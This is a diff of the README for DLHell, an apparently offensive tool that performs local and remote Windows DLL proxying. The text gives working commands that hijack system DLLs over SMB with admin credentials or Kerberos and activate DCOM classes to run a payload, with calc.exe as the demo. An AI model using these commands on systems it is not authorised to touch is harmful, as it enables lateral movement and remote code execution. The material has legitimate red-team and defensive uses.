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# DLHell
DLHell performs DCOM local & remote Windows DLL Proxying
DLHell performs DCOM local & remote Windows DLL Proxying.
## Install
The following packages are required (might depend on your distro, following example for Debian 12)
The following packages are required (might depend on your distro, the following
example is for Debian 12):
```bash
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64
```
Install pip dependencies
Install pip dependencies:
```bash
pip3 install -r requirements.txt
@@ -18,20 +19,25 @@ pip3 install -r requirements.txt
## Quick start
The following command hijacks the library netutils.dll on host 10.137.0.48 from the template file template.tpe (C++ source hijack library) which launches calc.exe. Both original & proxy DLL will be placed in the folder `program files/windows nt/accessories/` of the c$ share on the remote target.
The following command hijacks the `netutils.dll` library on host `10.137.0.48`
from the `template.tpe` template file (C++ source hijack library) which
launches `calc.exe`. Both original & proxy DLL will be placed in the `program
files/windows nt/accessories/` folder of the `C$` share on the remote target.
Please use Impacket synthax for the -remote-target option.
Please use Impacket syntax for the `-remote-target` option.
```bash
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'
```
Kerberos authentication can also be used:
```bash
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1
```
List available CLSID & ProgIDs:
```bash
DLHell.py -list
```
@@ -92,46 +98,52 @@ connection:
Destination port to connect to SMB Server
```
## Local DLL Proxying
For Local DLL crafting, use the options -local-lib (name of the proxy DLL) & -local-target (renamed original DLL)
For Local DLL crafting, use the `-local-lib` (name of the proxy DLL) and
`-local-target` (renamed original DLL) options:
```bash
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'
```
## Remote DLL Proxying (Admin privileges needed)
## Remote DLL Proxying (admin privileges required):
For remote DLL hijacking, specify the options -target and -remote-lib (name of the original DLL on the remote host) & -local-target (renamed original DLL)
For remote DLL hijacking, specify the `-target`, `-remote-lib` (name of the
original DLL on the remote host) and `-local-target` (renamed original DLL)
options:
```bash
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'
```
## DCOM DLL Proxying (Admin privileges needed)
DCOM DLL Proxying can be exploited by using the `-progid` and `-clsid` options
## DCOM DLL Proxying (admin privileges needed)
DCOM DLL Proxying can be exploited using the `-progid` and `-clsid` options.
The list of available CLSIDs & ProgIDs is available with the following command:
```bash
DLHell.py -list
```
You can add new hijacks to the dcom.json file which defines vulnerable libraries path
You can add new hijacks to the `dcom.json` file which defines paths for
vulnerable libraries:
Then, only the ProgID or CLSID are required to:
Then, only the ProgID or CLSID is required to:
- Get the original DLL
- Create & Compile the Hijack library
- Create and compile the hijack library
- Upload the libraries on the remote host
- Activate the remote DCOM class
Example for ProgID **WordPad.Document.1**:
Example for ProgID `WordPad.Document.1`:
```bash
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1
```
Example for CLSID **73FDDC80-AEA9-101A-98A7-00AA00374959**:
Example for CLSID `73FDDC80-AEA9-101A-98A7-00AA00374959`:
```bash
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
```